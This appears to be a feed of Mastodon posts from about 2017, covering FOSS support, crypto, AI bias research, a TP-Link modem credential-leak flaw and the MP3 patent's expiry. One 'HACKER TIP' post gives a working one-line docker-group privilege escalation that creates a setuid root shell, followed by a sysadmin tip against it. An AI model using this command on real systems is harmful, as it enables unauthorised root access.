Jordan Hall (OLD ACCOUNT!) @DivineOmega@social.targaryen.house

How to help FOSS devs:

If you're happy, let them know! Often most of the feedback software developers and admins get is complaints about bugs. Happy feedback motivates.

If you're unhappy, file friendly bug reports and be patient.

Some have a Patreon, where money can be donated. That reduces stress and frees up more time to focus on development.

There is also always code that needs writing or messages that need translating or documentation that needs writing.

@andrej

Comparing pre- and post-quantum security levels of a few popular crypto primitives (from sam280 at the Birdsite): https://securitymastod.one/media/qRfP997_nN1PzXfHYHE

Princeton researchers discover why AI become racist and sexist: Study of language bias has implications for AI as well as human cognition.
https://arstechnica.com/science/2017/04/princeton-scholars-figure-out-why-your-ai-is-racist/ https://bne.social/media/x3Gr-dwPIih9zqdCJTQ #ai

360,443 accounts
+291 in the last hour
+15,463 in the last day
+210,850 in the last week
912 active instances

Oh wow. This is priceless.

Thanks to an XSS flaw in the firmware, you can send an SMS message to a TP-Link 5350 3G/WiFi modem, and it will reply with the admin password.

English: https://www.theregister.co.uk/2017/04/10/tplink_3gwifi_modem_spills_credentials_to_an_evil_text_message/

German: https://www.heise.de/newsticker/meldung/Sicherheitsforscher-IoT-Hersteller-machen-es-Bugjaegern-unnoetig-schwer-3678493.html

#iot #facepalm

I think this might be worth some sort of mini-celebration. I never thought I'd live to see the day.

"the MP3 technology became patent-free in the United States on 16 April 2017 when U.S. Patent 6,009,399, ...administered by Technicolor, expired"

HACKER TIP: If you pop a low-priv linux shell. Don't forget to check if the user is in the "docker" group. If so, a root shell is only one line away:

$ docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p

screenshots and more here on my (crappy) blog: http://zacharykeeton.com/Linux_Privilege-Escalation-with-Docker/

SysAdmin tip: Don' t add any nonsudoers to the 'docker' group!

@shel https://github.com/tootsuite/mastodon/pull/1883 🖖